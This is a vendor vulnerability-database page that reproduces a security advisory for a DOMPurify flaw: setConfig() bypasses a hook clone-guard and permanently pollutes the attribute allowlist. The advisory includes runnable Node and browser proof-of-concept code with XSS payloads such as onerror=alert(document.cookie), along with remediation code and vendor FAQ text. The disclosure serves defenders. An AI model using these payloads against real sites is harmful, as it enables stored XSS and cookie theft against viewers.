How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

352,427

Total vulnerabilities in the database

DOMPurify: Permanent `ALLOWED_ATTR` pollution via `setConfig()` bypassing the hook clone-guard (incomplete fix of the 3.4.7 hook-pollution patch) — dompurify

Modification of Assumed-Immutable Data (MAID)

Summary

DOMPurify 3.4.7 shipped a security fix ("permanent hook pollution") that makes a registered uponSanitizeAttribute hook's mutation of data.allowedAttributes non-persistent — so allowing an attribute for one element does not leak into later sanitize() calls. The fix clones ALLOWED_ATTR inside _parseConfig.

That guard is silently bypassed whenever the application uses the persistent-config API DOMPurify.setConfig(). setConfig() sets the module flag SET_CONFIG = true, which causes sanitize() to skip _parseConfig entirely — and the clone-guard lives inside _parseConfig. The hook is then handed the live, shared ALLOWED_ATTR object; any data.allowedAttributes[name] = true it writes mutates that shared object permanently, for the lifetime of the DOMPurify instance, across every subsequent call, and across all elements.

If an application uses setConfig() together with an uponSanitizeAttribute hook that conditionally allows a dangerous attribute (onerror, onclick, onmouseover, srcdoc, formaction, …) for "trusted" elements, then one trusted render permanently allows that attribute on untrusted, attacker-controlled content — yielding stored XSS in viewers' browsers. DOMPurify applies no separate /^on/ event-handler blocklist: attribute stripping is governed entirely by the allowlist, so a polluted allowlist is the only gate, and survival in the output is final.

Affected configuration (preconditions)

The vulnerability is triggered when an application does both:

Calls DOMPurify.setConfig(...) once (the recommended pattern for a fixed, persistent policy), and
Registers an uponSanitizeAttribute hook that writes data.allowedAttributes[name] = true to conditionally allow an attribute (e.g. only for elements bearing a trust marker).

This hook pattern is demonstrated in DOMPurify's own test suite, and the per-call variant of exactly this leak is what 3.4.7 was released to fix.

Root cause (source: `src/purify.ts`, v3.4.10)

The 3.4.7 clone-guard — only inside _parseConfig:

// src/purify.ts  _parseConfig()  (lines ~950-968)
// &quot;if a hook is registered AND the set still points at the default constant, clone it.
//  The hook then mutates the clone ... and the next default-cfg call rebinds to the untouched original.&quot;
if ( ... &amp;&amp; hooks.uponSanitizeAttribute.length &gt; 0) {
  ALLOWED_TAGS = clone(ALLOWED_TAGS);          // line 961
}
if ( ... hooks.uponSanitizeAttribute.length &gt; 0 ... ) {
  ALLOWED_ATTR = clone(ALLOWED_ATTR);          // line 968
}

sanitize() skips _parseConfig on the persistent-config path:

// src/purify.ts  DOMPurify.sanitize()  (line 2369)
if (!SET_CONFIG) {
  _parseConfig(cfg);          // &lt;-- clone-guard lives in here; SKIPPED when SET_CONFIG is true
}

setConfig() sets the flag that disables the guard:

// src/purify.ts  (lines 2596-2598)
DOMPurify.setConfig = function (cfg = {}) {
  _parseConfig(cfg);
  SET_CONFIG = true;          // every later sanitize() now skips _parseConfig
};

The hook is handed the live allowlist binding, and there is no secondary event-handler defense:

// src/purify.ts (line 2088) — hook event exposes the shared object by reference
allowedAttributes: ALLOWED_ATTR,
// (line 2108) hooks.uponSanitizeAttribute executed; a write to data.allowedAttributes mutates ALLOWED_ATTR itself
// _isValidAttribute gates purely on ALLOWED_ATTR[lcName]; DOMPurify uses NO /^on/ blocklist by design.

Net: after setConfig(), the clone-guard never runs, so the hook's allowedAttributes mutation is a permanent write to the instance's shared ALLOWED_ATTR.

Proof of Concept

Environment: npm i [email protected] jsdom (Node; identical mechanism to isomorphic-dompurify, and to a browser instance).

PoC 1 — the leak (trusted render permanently allows `onerror` on attacker content)

const createDOMPurify = require(&#039;dompurify&#039;);
const { JSDOM } = require(&#039;jsdom&#039;);
const DP = createDOMPurify(new JSDOM(&#039;&#039;).window);

// App init: persistent policy + a hook that allows onerror ONLY for trusted, pre-vetted elements
DP.setConfig({ ALLOWED_TAGS: [&#039;img&#039;], ALLOWED_ATTR: [&#039;src&#039;] });
DP.addHook(&#039;uponSanitizeAttribute&#039;, (node, data) =&gt; {
  if (node.getAttribute &amp;&amp; node.getAttribute(&#039;data-trusted&#039;) === &#039;1&#039;) {
    data.allowedAttributes[&#039;onerror&#039;] = true;        // intended: trusted-only
  }
});

// 1) A trusted widget is rendered once
DP.sanitize(&#039;&lt;img data-trusted=&quot;1&quot; src=&quot;x&quot; onerror=&quot;loadWidget()&quot;&gt;&#039;);

// 2) Later, ATTACKER-controlled content (NO data-trusted) is sanitized on the same instance
console.log(DP.sanitize(&#039;&lt;img src=&quot;x&quot; onerror=&quot;alert(document.cookie)&quot;&gt;&#039;));
// OUTPUT:  &lt;img src=&quot;x&quot; onerror=&quot;alert(document.cookie)&quot;&gt;     &lt;-- onerror SURVIVES -&gt; XSS

PoC 2 — it is a DOMPurify state-leak, not "the app allowed `on*`" (attribute-agnostic)

// Same setConfig + hook shape, but the hook allows a BENIGN attribute (title).
// The leak is identical -&gt; the defect is a shared-state mutation in DOMPurify,
// independent of which attribute the hook touches.
DP.setConfig({ ALLOWED_TAGS: [&#039;span&#039;], ALLOWED_ATTR: [] });
DP.addHook(&#039;uponSanitizeAttribute&#039;, (n, d) =&gt; {
  if (n.getAttribute &amp;&amp; n.getAttribute(&#039;data-trusted&#039;) === &#039;1&#039;) d.allowedAttributes[&#039;title&#039;] = true;
});
DP.sanitize(&#039;&lt;span data-trusted=&quot;1&quot; title=&quot;ok&quot;&gt;x&lt;/span&gt;&#039;);
console.log(DP.sanitize(&#039;&lt;span title=&quot;leaked&quot;&gt;x&lt;/span&gt;&#039;));   // -&gt; &lt;span title=&quot;leaked&quot;&gt;x&lt;/span&gt;  (leaked)

PoC 3 — control: WITHOUT `setConfig()` the 3.4.7 guard holds

const DP2 = createDOMPurify(new JSDOM(&#039;&#039;).window);
DP2.addHook(&#039;uponSanitizeAttribute&#039;, (n, d) =&gt; {
  if (n.getAttribute &amp;&amp; n.getAttribute(&#039;data-trusted&#039;) === &#039;1&#039;) d.allowedAttributes[&#039;onerror&#039;] = true;
});
DP2.sanitize(&#039;&lt;img data-trusted=&quot;1&quot; src=&quot;x&quot; onerror=&quot;ok()&quot;&gt;&#039;, { ALLOWED_TAGS: [&#039;img&#039;], ALLOWED_ATTR: [&#039;src&#039;] });
console.log(DP2.sanitize(&#039;&lt;img src=&quot;x&quot; onerror=&quot;alert(1)&quot;&gt;&#039;, { ALLOWED_TAGS: [&#039;img&#039;], ALLOWED_ATTR: [&#039;src&#039;] }));
// OUTPUT:  &lt;img src=&quot;x&quot;&gt;     &lt;-- onerror correctly STRIPPED. setConfig() is the trigger.

Persistence (observed)

The leak persists after removeAllHooks() — removing the hook does not clean the polluted allowlist.
It is global / cross-element — a polluted onmouseover survives on <a> and <div>, not only the originally-blessed <img>.
It persists for the instance lifetime (survived 5/5 subsequent default calls).
clearConfig() does restore a clean state (this is the bound of the impact).

Impact

Stored XSS. In a long-lived (e.g. server-side / isomorphic-dompurify) DOMPurify instance, a single trusted render flips a shared allowlist bit; every subsequent untrusted submission then inherits a live event-handler attribute and executes script in viewers' browsers. Because DOMPurify enforces no /^on/ blocklist, a surviving on* attribute is final — no secondary control prevents execution. onerror on a broken-src <img> fires with no user interaction (browser-confirmed; see Validation).

Per-call FORBID_ATTR does not mitigate. A defensive sanitize(input, { FORBID_ATTR: ['onerror'] }) is also ignored once setConfig() has been called: the per-call config is parsed by _parseConfig, which sanitize() skips entirely under SET_CONFIG. So an application cannot blunt the leak with a per-call denylist — the poisoned ALLOWED_ATTR is the sole gate.

Realistic attack scenario

A platform mixes admin-authored interactive widgets with user-generated content through one sanitizer instance:

The app installs a persistent baseline policy via setConfig({ ALLOWED_TAGS: [...], ALLOWED_ATTR: [...] }).
It registers an uponSanitizeAttribute hook that enables an event handler only for admin-vetted elements marked data-trusted="1", intending safe rich interactivity — a pattern the 3.4.7 fix was specifically meant to make safe.
An admin renders one trusted widget. From that point on, every user-submitted comment/post containing <img src=x onerror=...> passes sanitization and executes for all viewers.

Remediation

Extend the existing clone-guard to the persistent-config (SET_CONFIG) fast-path: when sanitize() skips _parseConfig but an uponSanitizeAttribute hook is registered, clone the allowlists before the walk so hook mutations cannot persist — the exact analogue of the guard already present in _parseConfig.

// In DOMPurify.sanitize(), replacing the bare `if (!SET_CONFIG) { _parseConfig(cfg); }`:
if (!SET_CONFIG) {
  _parseConfig(cfg);
} else if (hooks.uponSanitizeAttribute.length &gt; 0) {
  // Persistent-config path: _parseConfig (and its clone-guard) is skipped, so a hook would
  // otherwise mutate the shared ALLOWED_ATTR/ALLOWED_TAGS permanently. Clone per call.
  if (ALLOWED_ATTR === DEFAULT_ALLOWED_ATTR || ALLOWED_ATTR === currentSetConfigAttr) {
    ALLOWED_ATTR = clone(ALLOWED_ATTR);
  }
  if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS || ALLOWED_TAGS === currentSetConfigTags) {
    ALLOWED_TAGS = clone(ALLOWED_TAGS);
  }
}

(Equivalently: in the hook-event builder at line ~2088, hand the hook a shallow clone of ALLOWED_ATTR/ALLOWED_TAGS whenever SET_CONFIG is true, mirroring the 3.4.7 intent.)

A regression test should reproduce PoC 1 and assert the attacker call returns <img src="x">. Note the existing 3.4.7 regression test ("unguarded attribute hook does not poison subsequent default-config calls") never exercises setConfig() — adding a setConfig variant closes the gap.

Application-side mitigation until patched: prefer data.keepAttr = true (per-element, non-persistent) over data.allowedAttributes[name] = true inside hooks; or call DOMPurify.clearConfig() between trust domains; or use separate DOMPurify instances for trusted vs. untrusted content.

Limitations

Requires the two-part precondition above (persistent setConfig() and a hook writing data.allowedAttributes[...]). Not a default-config bypass.
Impact is bounded by clearConfig(), which restores a clean state. The earlier-considered "survives clearConfig()" claim did not reproduce and is withdrawn.
A position could be adopted to "use data.keepAttr=true, not allowedAttributes[]." However, the 3.4.7 security fix exists precisely to defend the allowedAttributes[] hook pattern in the per-call path; leaving the setConfig path unguarded is an incomplete fix of an acknowledged security issue.

Validation

Integrity: the tested [email protected] dist/purify.cjs.js (md5 ab0e7b1cde1cbcace0f62b6aac284143) and browser dist/purify.min.js (md5 b0985f80fa48e6e7b263f8f6a64b779e) are byte-identical to a freshly npm pack-ed release — the repro is on the real shipped code. Mechanism identical on 3.4.0, 3.4.9 and 3.4.10.
Node (mechanism): PoCs 1–3 reproduce deterministically; DOMPurify.isValidAttribute('img','onerror','x') flips false → true after a single trusted render under setConfig(), proving the shared attribute gate is poisoned. Leak survives removeAllHooks(), is cross-element, persists for the instance lifetime, and is reset only by clearConfig().
Real browser (impact): in Chrome with DOMPurify 3.4.10, assigning the attacker output to innerHTML executes the surviving onerror (sentinel window.__fired = ["ATTACKER-onerror"]; onerror DOM property is a function), with no user interaction. The no-setConfig A/B control does not fire — execution is attributable to the setConfig leak, not a harness artifact.

Appendix A — Node PoC (complete, runnable)

// poc.js  —  npm i [email protected] jsdom  &amp;&amp;  node poc.js
const createDOMPurify = require(&#039;dompurify&#039;);
const { JSDOM } = require(&#039;jsdom&#039;);
const freshDP = () =&gt; createDOMPurify(new JSDOM(&#039;&#039;).window);
const log = (s) =&gt; console.log(s);
log(&#039;DOMPurify &#039; + freshDP().version + &#039;\n&#039;);

// PoC 1 — the leak: trusted render permanently allows onerror on attacker content
{
  const DP = freshDP();
  DP.setConfig({ ALLOWED_TAGS: [&#039;img&#039;], ALLOWED_ATTR: [&#039;src&#039;] });
  DP.addHook(&#039;uponSanitizeAttribute&#039;, (node, data) =&gt; {
    if (node.getAttribute &amp;&amp; node.getAttribute(&#039;data-trusted&#039;) === &#039;1&#039;) {
      data.allowedAttributes[&#039;onerror&#039;] = true;            // intended: trusted-only
    }
  });
  DP.sanitize(&#039;&lt;img data-trusted=&quot;1&quot; src=&quot;x&quot; onerror=&quot;loadWidget()&quot;&gt;&#039;);            // trusted render
  const attacker = DP.sanitize(&#039;&lt;img src=&quot;x&quot; onerror=&quot;alert(document.cookie)&quot;&gt;&#039;);  // attacker, no data-trusted
  log(&#039;[PoC1] attacker output  : &#039; + attacker);
  log(&#039;[PoC1] onerror survived : &#039; + /onerror/.test(attacker));
  log(&#039;[PoC1] isValidAttribute(img,onerror) -&gt; &#039; + DP.isValidAttribute(&#039;img&#039;,&#039;onerror&#039;,&#039;x&#039;) + &#039;  (shared gate poisoned)\n&#039;);
}

// PoC 2 — attribute-agnostic: a DOMPurify state-leak, not &quot;the app allowed on*&quot;
{
  const DP = freshDP();
  DP.setConfig({ ALLOWED_TAGS: [&#039;span&#039;], ALLOWED_ATTR: [] });
  DP.addHook(&#039;uponSanitizeAttribute&#039;, (n, d) =&gt; {
    if (n.getAttribute &amp;&amp; n.getAttribute(&#039;data-trusted&#039;) === &#039;1&#039;) d.allowedAttributes[&#039;title&#039;] = true;
  });
  DP.sanitize(&#039;&lt;span data-trusted=&quot;1&quot; title=&quot;ok&quot;&gt;x&lt;/span&gt;&#039;);
  log(&#039;[PoC2] benign title leaks: &#039; + DP.sanitize(&#039;&lt;span title=&quot;leaked&quot;&gt;x&lt;/span&gt;&#039;) + &#039;\n&#039;);
}

// PoC 3 — control: WITHOUT setConfig the 3.4.7 guard holds
{
  const DP = freshDP();
  DP.addHook(&#039;uponSanitizeAttribute&#039;, (n, d) =&gt; {
    if (n.getAttribute &amp;&amp; n.getAttribute(&#039;data-trusted&#039;) === &#039;1&#039;) d.allowedAttributes[&#039;onerror&#039;] = true;
  });
  DP.sanitize(&#039;&lt;img data-trusted=&quot;1&quot; src=&quot;x&quot; onerror=&quot;ok()&quot;&gt;&#039;, { ALLOWED_TAGS:[&#039;img&#039;], ALLOWED_ATTR:[&#039;src&#039;] });
  const ctrl = DP.sanitize(&#039;&lt;img src=&quot;x&quot; onerror=&quot;alert(1)&quot;&gt;&#039;, { ALLOWED_TAGS:[&#039;img&#039;], ALLOWED_ATTR:[&#039;src&#039;] });
  log(&#039;[PoC3] control output   : &#039; + ctrl + &#039;   stripped: &#039; + !/onerror/.test(ctrl) + &#039;\n&#039;);
}

// Persistence: survives removeAllHooks(); reset only by clearConfig()
{
  const DP = freshDP();
  DP.setConfig({ ALLOWED_TAGS: [&#039;img&#039;], ALLOWED_ATTR: [&#039;src&#039;] });
  DP.addHook(&#039;uponSanitizeAttribute&#039;, (n, d) =&gt; {
    if (n.getAttribute &amp;&amp; n.getAttribute(&#039;data-trusted&#039;) === &#039;1&#039;) d.allowedAttributes[&#039;onerror&#039;] = true;
  });
  DP.sanitize(&#039;&lt;img data-trusted=&quot;1&quot; src=&quot;x&quot; onerror=&quot;ok()&quot;&gt;&#039;);
  DP.removeAllHooks();
  let leaks = 0;
  for (let i = 0; i &lt; 5; i++) if (/onerror/.test(DP.sanitize(&#039;&lt;img src=&quot;x&quot; onerror=&quot;alert(&#039;+i+&#039;)&quot;&gt;&#039;))) leaks++;
  log(&#039;[persist] survived &#039; + leaks + &#039;/5 calls after removeAllHooks()&#039;);
  DP.clearConfig();
  log(&#039;[persist] after clearConfig(): &#039; + DP.sanitize(&#039;&lt;img src=&quot;x&quot; onerror=&quot;alert(1)&quot;&gt;&#039;) + &#039;  (reset)&#039;);
}

Expected output:

[PoC1] attacker output  : &lt;img src=&quot;x&quot; onerror=&quot;alert(document.cookie)&quot;&gt;
[PoC1] onerror survived : true
[PoC1] isValidAttribute(img,onerror) -&gt; true  (shared gate poisoned)
[PoC2] benign title leaks: &lt;span title=&quot;leaked&quot;&gt;x&lt;/span&gt;
[PoC3] control output   : &lt;img src=&quot;x&quot;&gt;   stripped: true
[persist] survived 5/5 calls after removeAllHooks()
[persist] after clearConfig(): &lt;img src=&quot;x&quot;&gt;  (reset)

Appendix B — Browser PoC (complete; confirms execution)

&lt;!doctype html&gt;&lt;html&gt;&lt;head&gt;&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;script src=&quot;https://cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js&quot;&gt;&lt;/script&gt;
&lt;/head&gt;&lt;body&gt;&lt;pre id=&quot;out&quot;&gt;&lt;/pre&gt;
&lt;script&gt;
const log = (s) =&gt; document.getElementById(&#039;out&#039;).textContent += s + &#039;\n&#039;;
window.__fired = [];
window.alert = (x) =&gt; window.__fired.push(&#039;alert:&#039; + x);   // sentinel: capture exec, no modal
log(&#039;DOMPurify &#039; + DOMPurify.version);

// App init: persistent policy + a hook allowing onerror ONLY for trusted elements
DOMPurify.setConfig({ ALLOWED_TAGS: [&#039;img&#039;], ALLOWED_ATTR: [&#039;src&#039;] });
DOMPurify.addHook(&#039;uponSanitizeAttribute&#039;, (node, data) =&gt; {
  if (node.getAttribute &amp;&amp; node.getAttribute(&#039;data-trusted&#039;) === &#039;1&#039;) data.allowedAttributes[&#039;onerror&#039;] = true;
});

DOMPurify.sanitize(&#039;&lt;img data-trusted=&quot;1&quot; src=&quot;x&quot; onerror=&quot;0&quot;&gt;&#039;);                 // one trusted render
const out = DOMPurify.sanitize(&#039;&lt;img src=&quot;x&quot; onerror=&quot;alert(\&#039;XSS:\&#039;+document.domain)&quot;&gt;&#039;);  // attacker
log(&#039;attacker sanitized output: &#039; + out);
const host = document.createElement(&#039;div&#039;);
host.innerHTML = out;                            // surviving onerror arms on the broken-src img
document.body.appendChild(host);

setTimeout(() =&gt; {
  log(&#039;handlers fired: &#039; + JSON.stringify(window.__fired));
  log(window.__fired.length ? &#039;RESULT: XSS EXECUTED&#039; : &#039;RESULT: no execution&#039;);
}, 500);
&lt;/script&gt;&lt;/body&gt;&lt;/html&gt;

Observed: handlers fired: ["alert:XSS:<domain>"] → RESULT: XSS EXECUTED (no user interaction). The same harness without the setConfig() line strips onerror and does not fire.

Published: Jun 18, 2026
Updated: Jun 19, 2026
GHSA: GHSA-cmwh-pvxp-8882
Severity: Medium
Exploit:
CISA KEV:

No technical information available.

CWEs:

OWASP TOP 10:

A7 - Cross-Site Scripting (XSS)

Affected Software
References

Software	From	Fixed in
dompurify	-	3.4.11

https://github.com/cure53/DOMPurify/security/advisories/GHSA-cmwh-pvxp-8882

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.